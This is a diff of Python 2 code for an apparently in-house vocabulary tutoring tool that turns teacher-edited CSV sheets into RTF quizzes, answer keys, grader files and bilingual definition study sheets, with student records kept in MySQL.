+        section.append(Paragraph(Text('',qps))) # add a bit of whitespace
+        section.append(Paragraph(Text('',qps)))
+
+        for answer in answers: # now go through each of the sentences
+            p1 = Paragraph(ss.ParagraphStyles.Normal)
+            p1.append(Text(str(number_iter)+'. ', qps)) # add the question number
+            p1.append(Text(answer, qps)) # add the sentence
+            section.append(p1) # add the paragraph to the section
+            section.append(Paragraph(Text('',qps))) # add a linebreak
+            number_iter += 1 # increment the question number
+
+        ### Move on to the answer key, which is this case is quite straightforward
+        p1 = Paragraph(ss.ParagraphStyles.Normal, ParagraphPS().SetPageBreakBefore( True )) # add a section break
+        section.append(p1)
+        section.append(Paragraph(Text('Answer Key ' + str(student_name) + ' ' + str(test_number),qps))) # add a header
+        section.append(Paragraph(Text('',qps))) # linebreak
+        num = 1 # for question numbering
+        for question in order: # go through the words in order (as a reminder, the "order" here is the order of their respective sentences-with-a-blank in this quiz)
+            p1 = Paragraph(ss.ParagraphStyles.Normal)
+            p1.append(Text(str(num)+'. ', qps)) # add the question number
+            p1.append(Text(question, qps)) # add the word
+            section.append(p1)
+            num += 1 # increment question number
+
+    # if the test is a definitions test, it's much easier, because we can just list the words with a blank space
+    # next to them
+    elif test_type == 'd':
+        questions = [] # where we'll store the words to put in the assignment
+        number_iter=1 # we'll use this to number the questions
+        for word in t_database: # go through the words
+            questions.append(word) # and add them to the questions list (because t_database is a dict, so we're turning it into a list so it can have an order)
+        shuffle(questions) # we randomize the questions
+        order = copy.copy(questions) # then save a copy of the questions list in order for use for the grader
+        for word in questions: # go through each word in the list
+            p1 = Paragraph(ss.ParagraphStyles.Normal) # make a new paragraph
+            p1.append(Text(str(number_iter)+'. ',qps)) # add the question number
+            p1.append(Text(word, qps)) # add the word
+            p1.append(Text('    _________________________',qps)) # add a blank
+            section.append(p1) # add the paragraph to the document
+            section.append(Paragraph(Text('',qps))) # add a line break
+            number_iter += 1 # iterate the question number
+
+    # same for the sentence writing test; here we don't even need the blank. besides the blank, it's identical to the above
+    elif test_type == 'w':
+        questions = []
+        number_iter=1
+        for word in t_database:
+            questions.append(word)
+        shuffle(questions)
+        order = copy.copy(questions)
+        for word in questions:
+            p1 = Paragraph(ss.ParagraphStyles.Normal)
+            p1.append(Text(str(number_iter)+'. ',qps))
+            p1.append(Text(word, qps))
+            section.append(p1)
+            section.append(Paragraph(Text('',qps)))
+            number_iter += 1
+
+    # get the directory where we'll put the file, and add it to the filename
+    dir_prefix = get_student_dir(student_name)
+    filename = dir_prefix + filename
+
+    # create the actual document
+    DR.Write( doc, open_file( str(filename) ) )
+    
+    return order
+
+# this is the function that creates the passive assignment. same caveats apply as for the active assignment
+def generate_passive_assignement(words_plus_source, student_name, test_number, assign_date, teach_id):
+    # we're going to start with asking for some details about how the assignment will look
+    
+    cn_threshold = False # these variables will be used when we figure out where to pull definitions from words
+    cn_dict_dict = False
+    words_by_level = False
+
+    # we used to ask if you wanted the words in the order they appeared in the book (or alphabetically), but
+    # we always wanted the former, so I cut this step out for now
+    in_order = 'y' #lower(raw_input("""Do you want words in order they appeared in book (y if yes)? """))
+    if in_order == 'y':
+        in_order = True
+    else:
+        in_order = False
+
+    # first, we ask if the teacher wants definitions, and if yes, in what language
+    defin = lower(raw_input("Do you want definitions added to this quiz (enter for no, e for English, c for Chinese, b for combination)? "))
+    if defin not in ['e','c','b']:
+        defin = False
+
+    # if we want definitions in a combination of languages, we need to decide which levels of words gets Chinese, and which levels get English
+    if defin == 'b':
+        while True:
+            cn_threshold = []
+            _cn_threshold = raw_input("Enter the levels that will have Chinese definitions (i.e. 456, 56, 234) ")
+            try:
+                for number in _cn_threshold: # go through each number added and make sure the number is a number and between 0 and 6
+                    cn_threshold.append(int(number))
+                    if int(number)>6 or int(number)<0:
+                        raise ValueError
+                break
+            except ValueError:
+                continue
+
+    # next we want to ask if the user wants to include verb phrases, then if they want idioms, then if they want a limit on
+    # the number of definitions (we only ask if there's a chance of English definitions)
+    if defin in ['b','e']:
+        __vp = lower(raw_input("Include verb phrases (English) y/n? "))
+        if __vp == 'y':
+            __vp = True
+        else:
+            __vp = False
+
+        __id = lower(raw_input("Include idioms (English)? y/n"))
+        if __id == 'y':
+            __id = True
+        else:
+            __id = False
+
+        def_limit = raw_input("Enter definitions limit (English; hit enter for no limit). ")
+        try:
+            def_limit = int(def_limit)
+        except ValueError:
+            def_limit = 99 # suck it intro CS professors
+    else:
+        __vp = True
+        __id = True
+        def_limit = 99
+
+    # some basic document creation functions for pyrtf
+    DR = Renderer()
+    doc     = Document()
+    ss      = doc.StyleSheet
+    paper = Paper( 'A4', 9, 'A4 210 x 297 mm' , 11907, 16838 )
+    section = Section(paper)
+    doc.Sections.append( section )
+
+    # setting the font and making the first paragraph
+    tps = TextPS(font=ss.Fonts.TimesNewRoman, size=18) 
+    ps = ParagraphPS(alignment = TabPS.RIGHT)
+    p1 = Paragraph( ss.ParagraphStyles.Normal, ps)
+
+    # this section puts the upper-right header that has the name, the date and the name of the adviser
+    student_full_name = get_student_fullname(student_name)
+    p1.append(Text(str(student_full_name), tps))
+    section.append( p1 )
+    p1 = Paragraph( ss.ParagraphStyles.Normal, ps)
+    p1.append(Text("Date: " + str(assign_date), tps))
+    section.append( p1 )
+    p1 = Paragraph( ss.ParagraphStyles.Normal, ps)
+    submit_to = get_adviser_fullname(teach_id)
+    p1.append(Text("Adviser: " + submit_to, tps))
+
+    # add a line break
+    section.append( p1 )
+    section.append(Paragraph(Text('',tps)))
+
+    # this adds the assignment type and number, centered and bigger than the header
+    ps = ParagraphPS(alignment = TabPS.CENTER)
+    qps = TextPS(font=ss.Fonts.TimesNewRoman, size=20)
+    tps = TextPS( bold=1, font=ss.Fonts.TimesNewRoman, size=20)
+    p1 = Paragraph( ss.ParagraphStyles.Normal, ps)
+    p1.append(Text('Passive Study Assignment #' + str(test_number[1:]), tps))
+    section.append( p1 )
+    section.append( Paragraph( Text( '', qps) ) ) # add another line
+
+    # that's the set-up for the document, now we have to deal with the word and their definitions
+    
+    if in_order: # if we want the words to appear in the order that they were in the book
+        words_plus_source = sorted(words_plus_source, key = lambda thing: thing[1]) # we need to sort the words according to the source (remember, the source includes a number code for the order in which the words were pulled from the text, which allows this sorting to happen)
+    else: # otherwise, we just sort them alphabetically by word
+        words_plus_source.sort()
+
+    if not defin: # if we're not defining anything
+        n = 3000
+        word_table = Table(n, n) # we make a simple 2 column table
+        for word, source in words_plus_source:
+            if source[-6] == '^': # remove the number tag from the source if there is one
+                source = source[:-6]
+            c1 = Cell( Paragraph( Text( word, qps) ) ) # one cell gets the word
+            c2 = Cell( Paragraph( Text( source, qps) ) ) # the other gets the source
+            word_table.AddRow( c1, c2 ) # and we add those cells to the table
+
+        section.append(word_table) # add the table to the document
+        
+    else: # if we are using definitions, it gets much more complicated
+        words_def_source = [] # we'll need new data structure for storing the word with the definition
+        if defin == 'e': # if we're using english definitions
+            dict_dict = turn_dbase_into_dict('dictionary') # then dictionary is our main dictionary
+            cn_dict_dict = False # and there is no secondary dictionary
+        elif defin == 'c': # if we're using chinese definitions
+            dict_dict = turn_dbase_into_dict('cn_dictionary') # then cn_dictionary is our primary dictionary
+            cn_dict_dict = False # and there's no secondary dictionary (sorry, poor choice of variable name)
+        else: # if we use a mix
+            dict_dict = turn_dbase_into_dict('dictionary') # then we need both dictionaries
+            cn_dict_dict = turn_dbase_into_dict('cn_dictionary')
+            words_by_level = get_words_by_level() # we'll need words_by_level to tell which word to define with which dictionary
+
+        total_words = len(words_plus_source) # total number of words
+        progress_counter = 0 # words we've added so far
+        last_progress_print = 0 # a variable that helps the progress tracker determine when to print a progress update
+        print "0% completed" # just to get started
+
+
+        # in this section we're going to fill up the word_def_source table with the words, parts of speech, definitions and sources, in the
+        # order that they'll appear in the final document. Note the structure of this table, which mirrors the final
+        # document:
+        # [
+        # [word, part of speech, definition, source]
+        # [''  , part of speech, definition, ''    ]
+        # [''  , part of speech, definition, ''    ]     (<- this is because each word can have several parts of speech and associated definition)
+        # ]
+        for word, source in words_plus_source: # we go through each word and its source
+            if source[-6] == '^': # if the source is formated like Source^00001..
+                source = source[:-6] # then remove the ending section to just make it Source
+
+            definition = get_definition(word, dict_dict, defin, cn_threshold, cn_dict_dict, words_by_level) # get the definition for the word
+            progress_counter += 1 # increment a counter that counts the number of words defined so far
+            last_progress_print = progress_tracker(progress_counter, total_words, last_progress_print) # feed the progress counter to the progress printing function
+            if definition == []: # if there is no definition
+                words_def_source.append([word, '', '', source]) # add just the word and the source
+            else:
+                first = True # this tells us we're in the first line of a word's definition (ie the line that will need the word in the first column)
+                for row in definition: # go through each of the definitions for the word (seperated by p.o.s.)
+                    if len(row) == 2: # if the length of of the definition is 2, it means it's a standard definition for the word (the alternative, a length of 3, means it's an idiom or a verb phrase, with the idiom or verb phrase itself being the first element in the list)
+                        pos = row[0] # get the part of speech
+                        if pos == 'verb (used with object)': # these are just some abreviations for longer parts of speech
+                            pos = 'verb (trans)'
+                        if pos == 'verb (used without object)':
+                            pos = 'verb (intrans)'
+                        if pos == 'verb (used with or without object)':
+                            pos = 'verb'
+                        if pos == 'abbreviation': # skip any abbreviations (these are usually things like Department of Transportation D.O.T. under definition for "dot".
+                            continue
+                        _def = row[1] # get the definition
+
+                        # we now have to assemble the definition. it's not as simple as just tacking it on, because there
+                        # are several alterations we want to make. first, some characters have to be packaged so that they
+                        # display properly in PyRTF. Next, each definition is composed of a bunch of smaller definitions,
+                        # and we sometimes choose to limit the number of these definitions for clarity. these definitions
+                        # aren't inheretly seperated out (though that could easily be done), so we have to do some letter
+                        # by letter parsing. finally, we want to make the definitions into a list rather just a block of
+                        # text, and the vagaries of PyRTF don't make this simple.
+                        _def_by_line = "Text(\'-  "  # first, you'll notice that _def_by_line, which is what will fill the definition cell in the passive sheet table, is actually a function. this is related to PyRTF, I can't explain why it works
+                        def_counter = 0 # this counts the number of definitions
+                        stop_rec = False # this means stop recording, or stop adding letters to the definition
+                        for letter in _def: # go through each letter of the definition
+                            if letter not in [';','\'','<','>']: # if it's not a special character
+                                if not stop_rec:
+                                    _def_by_line += letter # add it (assuming we're not in stop_rec)
+                            elif letter == '\'': # if there's a quote, we have to couch both the quote and the backslash
+                                _def_by_line += "\\\'"
+                            elif letter == ';': # if we hit a semi-colon, that's the end of a definition
+                                def_counter += 1 # so increment the definition counter by one
+                                if def_counter == def_limit: # if we've reached the limit we set for definitions, then quit
+                                    break
+                                _def_by_line += "\', qps), LINE, Text(\'- " # otherwise, prep the line for the next definition
+                            elif letter == '<': # whenever these marks appear in a definition, it's usually some kind of an aside or otherwise unnecessary, so we stop taking the definition
+                                stop_rec = True
+                            elif letter == '>': # and go back to recording once we reach the end
+                                stop_rec = False
+                        _def_by_line += "\', qps)" # once we're done with all the definitions (for that p.o.s.), add the ending for the function
+                        if first: # once we have _def_by_line done, we either append the below data, if it's the first p.o.s. definition for that word..
+                            words_def_source.append([word, pos, _def_by_line, source])
+                            first = False
+                        else: # or, if not, we append the same, but without the word or the source
+                            words_def_source.append(['',pos,_def_by_line,''])
+
+                    # if the p.o.s is an idiom or a verb phrase, it will have three sections instead of two,
+                    # because the first one will be the idiom or verb phrase itself (ie, under the definition for
+                    # drop, you will have the verb phrase "drop out". we add this extra word as if it is it's own
+                    # definition, right below the origianl word (just look at some examples, and it should be clear)
+                    elif len(row) == 3:
+                        _writer = True # this is just what we'll use to tell if we're adding this definition or not
+                        __word = row[0] # the verb phrase or idiom
+                        pos = row[1] # part of speech
+                        if not __vp: # sometimes we skip vps and/or idioms; here we check if we're going to skip this definition
+                            if pos == 'verb phrase':
+                                _writer = False
+                        if not __id:
+                            if pos == 'idiom': # and again if it's an idiom
+                                _writer = False
+                        if _writer: # if we're not skipping
+                            _def = row[2] # the process for definitions is the same as above
+                            _def_by_line = "Text(\'-  "
+                            def_counter = 0
+                            for letter in _def:
+                                if letter not in [';','\'']:
+                                    _def_by_line += letter
+                                elif letter == '\'':
+                                    _def_by_line += "\\\'"
+                                elif letter == ';':
+                                    def_counter += 1
+                                    if def_counter == def_limit:
+                                        break
+                                    _def_by_line += "\', qps), LINE, Text(\'- "
+                            _def_by_line += "\', qps)"
+                            words_def_source.append([__word,pos,_def_by_line,'']) # the only thing that changes is that we append the vp or idiom where the word would normally go.
+                        
+
+        thin_edge  = BorderPS( width=20, style=BorderPS.SINGLE, colour=ss.Colours.Grey ) # defining the edges for a table in pyrtf
+        thin_frame  = FramePS( thin_edge,  thin_edge,  thin_edge,  thin_edge )
+
+        last_source = '' # we'll use this to check if the word source has changed (ie if we've reached words from a different chapter)
+        word_table = Table(1500, 1350, 7097) # make a three column table (word, pos, definition)
+        for word, pos, _def, source in words_def_source: # go through each set of data
+            if source != last_source and source != '': # this checks if the source has changed. if it has..
+                section.append(word_table)
+                p1 = Paragraph( ss.ParagraphStyles.Normal, ps)
+                p1.append(Text(source, tps))                          # .. we break the table, add the source as centered text and start a new table
+                section.append( p1 )
+                word_table = Table(1500, 1350, 7097)
+                last_source = source # now the current source is last_source, and we'll wait for it to change
+        
+            # here we fill out the table, line by line
+            c1 = Cell( Paragraph( Text( word, qps) ), thin_frame ) # the word
+            c2 = Cell( Paragraph( Text( pos, qps) ), thin_frame ) # the pos
+            _def_eval = "Paragraph( " + _def + ")"
+            c3 = Cell( eval(_def_eval), thin_frame ) # the definition, but note the use of the eval function, so that we can have a paragraph in the cell, rather than just undifferentiated text
+            word_table.AddRow( c1, c2, c3 )
+
+        section.append(word_table) # add the last table section
+
+    dir_prefix = get_student_dir(student_name) # where we'll save the file
+    filename = dir_prefix + "V"+'-'+str(test_number)+'-'+str(assign_date.isoformat()[:4])+str(assign_date.isoformat()[5:7])+str(assign_date.isoformat()[8:])+'-'+str(student_name)+'-'+str(teach_id) # the filename
+
+    # log that the passive sheet was created
+    add_to_log(student_name, filename)
+
+    # write the file
+    DR.Write( doc, open_file( filename ) )
+
+# asks the user what type of test this will be (m/matching, s/sentence completion, d/write definitions, w/write sentences)
+def ask_q_type():
+    while (True): # will keep looping unless it gets one of the 4
+        test_type = raw_input("Enter test type (m, s, d or w): ")
+        if test_type in ["m","s","d","w"]:
+            return test_type
+
+# this function gets some of the relevant details for the test
+def ask_test_details():
+    while True: # here we ask for the due date, only accepting properly formatted responses
+        due_date = raw_input("Please enter the due date for the exam. (Enter for today) (yyyymmdd) ")
+        if due_date == "":
+            due_date = date.today()
+            break
+        try:
+            due_date = date(int(due_date[:4]),int(due_date[4:6]),int(due_date[6:]))
+            break
+        except ValueError:
+            pass
+    while True: # here we ask for the assign date (the date when the quiz will be given)
+        assign_date = raw_input("Pleaser enter the assign date for the exam. (Enter for today) (yyyymmdd) ")
+        if assign_date == "":
+            assign_date = date.today()
+            break
+        try:
+            assign_date = date(int(assign_date[:4]),int(assign_date[4:6]),int(assign_date[6:]))
+            break
+        except ValueError:
+            pass
+
+    # then we get the teacher's initials
+    teach_id = raw_input("Please enter your initials. ")
+
+    # we turn the initials into a full name
+    submit_to = get_adviser_fullname(teach_id)
+
+    # and we return all the data
+    return due_date, assign_date, teach_id, submit_to
+
+# here we get the test number. the test number is the type of question (m/s/d/w) plus a sequential number. this data is stored
+# inside each student's active database (seperately for each type of question). one poor element of the implementation is that because the incremenation is done
+# immediately when we run this function, as opposed to as the last step, if there is an error in making a test, the incrementation
+# will often stay, depending on how far along the process there was an error.
+def get_test_number(q_type, dbase):
+    key = '-----'+q_type+'testcounter-----' # this is the "word" in the student database that has the test number information
+    tests = do_command("SELECT data FROM %s WHERE word = \'%s\'" % (dbase, key)) # gets the data from that "word"
+    if len(tests)==0: # if there is no such "word" (which isn't something that happens anymore)...
+        do_command("""INSERT INTO %s (word, data, lockvar) VALUES (\'%s\', \"['0']\", 'False')""" % (dbase, key)) #... add it
+        tests = do_command("SELECT data FROM %s WHERE word = \'%s\'" % (dbase, key)) #... re-do the command
+
+    tests = eval(tests[0][0]) # evaluate the text in the data, which will give you a python list
+    test_number = str(int(tests[-1]) + 1) # turn the last element of the list into an integer, add one, turn it into a string...
+    tests.append(test_number) #... and append it back to the end of the list
+
+    # upload the new list, with the new test number to the counter
+    do_command("""UPDATE %s SET data = \"%s\" WHERE word = \"%s\"""" % (dbase,MySQLdb.escape_string(str(tests)),MySQLdb.escape_string(key)))
+
+    return upper(q_type)+test_number # return the test number in complete form
+
+# this function lets the user pick a testsheet file to upload, and opens that file for reading
+def upload_test_file(student_name):
+    # this is the standard set-up for a "pick a file" function, with only the if statement 6 lines
+    # down being different. to see notes on this type of funciton, see get_upload_csv()
+    files = os.listdir(os.getcwd())
+    
+    counter = 1
+    v_files = []
+    for f in files:
+        if f[:10] =='testsheet-' and f[10:10+len(student_name)] == upper(student_name) and f[-4:] == ".csv":
+            print str(counter) + ". " + f
+            counter += 1
+            v_files.append(f)
+
+    if len(v_files)==0:
+        print "No acceptable files."
+        return False, False
+        
+    while True:
+        csv_name = raw_input('Enter the number of the file you wish to upload or * to quit. ')
+        if csv_name == '*':
+            return False, False
+        if int(csv_name) in range(1,len(v_files)+1):
+            csv_name = v_files[int(csv_name)-1]
+            break
+
+    # opens up the csv file for reading
+    reader = csv.reader(open(csv_name, "rb"))
+    return reader, csv_name # returns the reader pointer and the file name
+
+# this function turns the csv reader into a list object
+def parse_reader(reader):
+    data = [] # the important stuff
+    not_data = [] # the not important stuff
+
+    first = True # we make sure we skip the first row
+    for row in reader:
+        if first:
+            not_data.append(row) # I'm not sure why we do this, probably no reason
+            first = False # now it's not the first row
+        else: # if not the first row, then append to the data
+            data.append(row)
+
+    # return the data
+    return data
+
+# this function checks the testsheet data for any errors, cleans the data up, and returns it
+def clean_test_file(data, q_type):
+    clean_data = [] # this variable will collect the cleaned up data
+    dummies = [] # this variable will collect dummy words (extra answers for sentence completion quizzes)
+    error = False
+    for row in data:
+
+        if len(row[0])==0: # skip any empty rows
+            continue
+
+        for item in row: # here we check for excess whitespace at the beginning or end of a cell; we go through each cell
+            if len(item)!= 0: # and if the cell is not nothing
+                if item[0] == ' ' or item[-1] == ' ': # check the first and last character
+                    print "White space error: " + row[0]
+                    #error = True # there were some words that had whitespace errors, so i didn't make this an error that stopped the program, but I think that should be fixed now
+
+        # row[4] is the user input answer selection column. first, we'll check any one-character entries in this
+        # column because these should only be either x's or d's. An x is to select a word for definition and sentence writing
+        # tests, and a d is to select a word as a dummy for a sentence completion test. this is technically imperfect, because
+        # what if you make a new a matching entry that is only one letter, but that shouldn't ever happen
+        if len(row[4])==1:
+            # if the entry is 'x' and the test type matches, we're good
+            if row[4] == 'x' and q_type in ['d','w']:
+                pass
+            # if the entry is 'd' and the test type matches, we're good
+            elif row[4] == 'd' and q_type == 's':
+                dummies.append(row[0]) # plus append the word (row[0]) to the dummy list
+                continue
+            else:
+                print "Answer error: " + row[0] # otherwise, we have a one-letter answer that isn't right
+                error = True
+                
+        # next, we'll run some checks for not one-letter entries 
+        if len(row[4])!=0 and row[4][0] != '*':  # if the entry isn't nothing and it doesn't start with '*' (i.e. has "***needs new***" in the cell)
+            for letter in row[4]: # then go through each letter and ...
+                if letter in foreign_letters: # make sure none of them are part of the foreign letters list
+                    print "Foreign letter error: " + row[0]
+                    error = True
+            if q_type == 'm': # at this point, we append the data to clean_data
+                clean_data.append([lower(row[0]),lower(row[4])]) # if it's matching, we make both the word and the answer lower-case, just in case
+            else:
+                clean_data.append([lower(row[0]),row[4]]) # whereas if it's sentence completion, or anything else, we keep it as is
+
+    # now, we'll go through the clean data, to check a few more things
+    for row in clean_data:
+        if row[1][1:].isdigit(): # if the part after the first character of the entry is a number (as in m1, s12, m7, etc.)
+            if row[1][0]!=q_type: # make sure that the first letter is the same as the question type that was selected for the exam (i.e., you did select s1 for a matching exam)
+                print "m/s error: " + row[0]
+                error = True
+        if q_type == 's' and not row[1][1:].isdigit(): # if we're doing a sentence completion exam, and it's a new entry (i.e., not s1 or s2 but a new sentence completion answer), then 
+            if '---' not in row[1]: # check that we have the '---' fill-in-the-blank marker somewhere in there
+                print "--- error: " + row[0] 
+                error = True
+
+    # even if there's an error, we go to the end, and then return the same variables, either with error or without
+    if error:
+        return clean_data, dummies, True
+    else:
+        return clean_data, dummies, False
+
+# we do this manually above, but this function is to check if a question is a new entry or a selection of an existing entry
+def check_new_q(q):
+    if q[1:].isdigit(): # if the characters after the first character are numbers, odds are it's an existing answer (m1, m2, s11, etc.)
+        return False
+    else: # otherwise, it's definitely new 
+        return True
+
+# this function takes a word, the new question for the word, the existing answers for the word, and the question type.
+# it produces a new key (m1, s1, ...) for the new question, adds it to the dictionary object of the existing answers.
+def assign_new_key(word, new_q, answers, q_type):
+    if answers=={}: # if there are no existing answers
+        key = q_type + '1' # the key is just the question type plus 1 (m1 or s1)
+        answers={key:new_q} # that's your new answers dictionary object
+    else:
+        counter = 1 # otherwise, we make a counter
+        for answer_key in answers: # and we go throught the existing answers
+            if answer_key[0] == q_type: # and for every answer that matches the question type
+                counter+=1 # increment the counter by 1
+        key = q_type + str(counter) # then we combine the question type (m or s) and the counter, to get the new key
+        answers[key]=new_q # and we add the new question and the new key to the answers dictionary
+
+    data = (word,str(answers)) # we make a new data object that is a list with the word and a string version of the answers
+    
+    return key, data # and we return the new key and the data
+
+# this function takes in a word and a key and the mainvocab dictionary and returns the answer associated with the key
+def get_question_key(word, key, ddict, q_type):
+    if not ddict.has_key(word): # make sure the vocabmain has that word (unlikely but not impossible, like if someone accidently changed a word in the testsheet)
+        print "Word not in main: " + word
+        return False
+    
+    answers = ddict[word] # get all the possible answers for that word
+    for _key in answers: # go through each key
+        if _key == key: # and if the key matches 
+            return answers[key] # return the answer associated with the key (this is kind of a silly way of doing it, oh well)
+
+    # this means that key doesn't exist for that word (i.e., user entered m4 when it only goes up to m3 for that word)
+    print "Question not found: " + word
+    return False
+
+# this function creates a grading file, the one that will associated with this test
+# filename = the filename of the new created test
+def open_grading_file(filename, student_name):
+    dir_prefix = get_student_dir(student_name) # the program puts the grading file in the student's directory
+    
+    name = dir_prefix + 'grader'+filename+'.csv' # the grader file name is just the test file name with "grader" in front
+    writer = csv.writer(open(name, 'wb'), dialect = 'excel') # creates the file, ready for writing
+    
+    return writer
+
+# this function creates the grader csv file and then fills it up with all the relevant data
+# data is a dictionary object formated like word:[answer, answer key], order is the order the words are in, filename is
+# the name of the test document, assign_date = the date the test was assigned
+def make_grading_file(data, order, filename, assign_date, student_name):
+    writer = open_grading_file(filename, student_name) # creates the files
+
+    # note that order is a list object, and data is a dict object, because list objects have an order to them.
+    # we go word by word through the order, and pull the data from the dict object
+    for word in order:
+        row = [word, ''] # start by adding the word and the user input column
+        row.append(data[word][0]) # the answer
+        row.append(data[word][1]) # the key for the answer
+        row.append(str(assign_date)) # the assign date
+        writer.writerow(row) # add the row
+
+    return
+
+# this takes all the data and sorts it into new answers and ones that already existed (see check_new_q(q) for details on method)
+def sort_out_new_from_old(data):
+    new = []
+    old = []
+    for item in data:
+        if item[1][1:].isdigit(): # not sure why we don't just use check_new_q(q) here, since we made that function already
+            old.append(item)
+        else:
+            new.append(item)
+
+    return new, old # returns old and new seperately
+
+# this function takes in all the words and data, and has the user double-check all of the new answers
+def user_question_checker(data, q_type):
+    new_q_data, old_q_data = sort_out_new_from_old(data) # first get the new answers seperate from the already existing ones
+    _5s_data = sort_into_5s(new_q_data) # run the new answers through the check by 5s method
+    new_5s_data = check_by_5s(_5s_data, q_type)
+    new_data = flatten_5s(new_5s_data) # in the end, you get a list of the new answers post-editting
+    for item in old_q_data:
+        new_data.append(item) # add all of the already existing answers back into the post-editting new answers data set
+    
+    return new_data # returns all the words and their data, post-editting
+
+# this function updates, in one batch command, the vocabmain database with the new information taken from the
+# testsheet (essentially, adding any new answers to words stored in the vocab main)
+def batch_update_main(to_add_main_data, main_name):
+    replace_command = "UPDATE %s SET data = CASE " % main_name
+    for word, data in to_add_main_data:
+        replace_command += """WHEN word = \"%s\" THEN \"%s\" """ % (MySQLdb.escape_string(word),MySQLdb.escape_string(data))
+    replace_command += "ELSE data END;"
+        
+    do_command(replace_command)
+
+# this function updates, in one batch command, the student's database, updating words that have been added for testing
+def batch_update_active(to_replace_words, student_name):
+    if len(to_replace_words) !=0:
+        replace_command = "UPDATE %s SET data = CASE " % student_name
+        for word, data in to_replace_words:
+            replace_command += """WHEN word = \"%s\" THEN \"%s\" """ % (MySQLdb.escape_string(word),MySQLdb.escape_string(str(data)))
+        replace_command += "ELSE data END;"
+        
+        do_command(replace_command)
+
+# this function goes through the data and marks words as being "out" in the student data, in other words, marks that they
+# are currently in an exam that has not been graded yet. it's fine if the word is out in several exams at the same time.
+# clean data is organized as a list of lists structured as [word, question]
+def mark_student_words(student_dict, clean_data):
+    new_data = [] # this is the new variable where we'll put the updated data
+
+    for word, q in clean_data: # we go through each word in clean_data
+        word_data = student_dict[word] # get the student database data for that word
+        word_data[0].append('^^^out^^^') # add the out marker to the word's data in the student database
+        new_data.append([word, word_data]) # append add the updated data to the new variable
+
+    return new_data
+
+# this is the higher level function that, taking the student's name and the name of the vocabmain database, uploads
+# a testing sheet, cleans it up, creates the document and finally makes relevant changes in the student and main databases.
+def intake_testing_sheet(student_name, main_name):
+    pause = raw_input("Save and close the testsheet file and hit enter.") # this is there just to get the user to save and close the file, so the program can delete it later
+    
+    reader, to_delete_file_name = upload_test_file(student_name) # gets a csv reader version of the test, and the file name for later deletion
+    if reader == False:
+        return False
+
+    q_type = ask_q_type() # asks the user for the question type
+
+    due_date, assign_date, teach_id, submit_to = ask_test_details() # asks the user for other details
+    
+    data = parse_reader(reader) # get the csv data into a local python object
+    
+    clean_data, dummies, _error = clean_test_file(data, q_type) # clean up the data, + get any sentence completion dummy words
+    if len(clean_data)==0: # check that there are at least some questions selected 
+        print "No questions selected."
+        return False
+
+    dict_for_grader = {} # the dictionary object we'll use for the data that will go into the grader file
+    dict_for_test = {} # the same, but for the actual test
+
+    main_dict = turn_dbase_into_dict(main_name) # get the vocabmain database as a dict
+    
+    error = False
+    for word, q in clean_data: # go through each word and selected question
+        if not check_if_word_exists_in_dict(word, main_dict): # make sure the word exists in the vocabmain
+            print "Incorrect word: " + word
+            error = True
+            continue
+        if q_type not in ['d','w']: # if the question is a matching or sentence completion question...
+            if not check_new_q(q): # ... and if the question is not a new, user-generation question...
+                question = get_question_key(word, q, main_dict, q_type) # ... make sure the selected question key is proper
+                if question == False:
+                    error = True   
+
+    if error or _error: # if during either the cleaning or the previous round of checking, there was an error, quit
+        print "Errors found."
+        return False
+
+    if q_type not in ['d','w']: # if we have the possibility of new questions
+        clean_data = user_question_checker(clean_data, q_type) # let the user review and edit all of the new additions before we add them for good 
+
+    student_dict = turn_dbase_into_dict(student_name)
+    marked_student_words = mark_student_words(student_dict, clean_data) # mark the words as being "out" in the student db
+
+    to_add_main_data = [] # this list will hold all the words with new questions, along with the new question data, for adding to the vocabmain
+
+    if q_type not in ['d','w']: # if we're making an M or S test
+        for word, q in clean_data: # look at the word and the q (which is either a key or a typed in new question) and find the key and the question
+
+            if check_new_q(q): # if it's a new question
+                key, to_add_batch = assign_new_key(word, q, main_dict[word], q_type) # generate a key for that question
+                if key == False: # if there's some problem, go to the next word
+                    continue
+                question = q # the question is the q
+                to_add_main_data.append(to_add_batch) # and we're going to add the new question 
+            else: # it's not a new question
+                key = q # then q is the key
+                question = get_question_key(word, q, main_dict, q_type) # and we'll used that key to get the question
+                if question == False: # if we don't find a question, then skip it
+                    continue
+
+            # now, whether it was a new question or an old one, we have both a key and a question
+            dict_for_grader[word] = [question, key] # add the question and the key to this dict, which will be used to make the grader
+            dict_for_test[word] = question # add just the question to this dict, which will be used to make the test
+
+    elif q_type in ['d','w']: # if we're making a D or W test, then it's a bit easier
+        for word, q in clean_data: # for each word..
+            dict_for_grader[word] = ['___', 'd'] # .. we just add some standard text
+            dict_for_test[word] = 'd'
+
+    # if we have new questions to add to the vocabmain, add them
+    if len(to_add_main_data)!=0:
+        batch_update_main(to_add_main_data, main_name)
+
+    # get the test number for this test
+    test_number = get_test_number(q_type, student_name)
+
+    # the filename for the test
+    filename = "V"+'-'+test_number+'-'+str(assign_date.isoformat()[:4])+str(assign_date.isoformat()[5:7])+str(assign_date.isoformat()[8:])+'-'+upper(student_name)+'-'+teach_id
+
+    # make the test (it returns the order of the questions)
+    order = make_test(dict_for_test, q_type, student_name, due_date, dummies, submit_to, test_number, filename)
+
+    # make the grading file (the order is used to make sure the order is the same in the grader as in the test)
+    make_grading_file(dict_for_grader, order, filename, assign_date, student_name)
+
+    # print a confirmation
+    print "Test (" + str(filename) + ") created."
+
+    # update the marked words in the student db
+    batch_update_active(marked_student_words, student_name)
+
+    # log that a test was created
+    add_to_log(student_name, filename)
+
+    return to_delete_file_name
+    
+####################################
+#################################### below are functions for making the passive sheet
+####################################
+
+# gets the details for the passive assignment - however, in the current one-step intake system, this function is skipped
+def ask_passive_details():
+    while True: # this asks for when the passive assignment will be assigned
+        assign_date = raw_input("Pleaser enter the assign date for the reading. (Enter for today) (yyyymmdd) ")
+        if assign_date == "":
+            assign_date = date.today()
+            break
+        try:
+            assign_date = date(int(assign_date[:4]),int(assign_date[4:6]),int(assign_date[6:]))
+            break
+        except ValueError:
+            pass
+
+    # this asks for the teacher initials
+    teach_id = raw_input("Please enter your initials. ")
+
+    return assign_date, teach_id
+
+# this function either let's the student pick the passive sheet to upload or (in the one-step system) just has the file
+# inputted directly, and it just opens the file
+def upload_passive_file(student_name, passive_sheet_name):
+    if not passive_sheet_name: # if this variable is false, it means we're outside of the one-step system
+        files = os.listdir(os.getcwd()) # the below mechanism should be familiar already
+        
+        counter = 1
+        v_files = []
+        for f in files:
+            if f[:8] =='passive-' and student_name in lower(f) and f[-4:] == ".csv":
+                print str(counter) + ". " + f
+                counter += 1
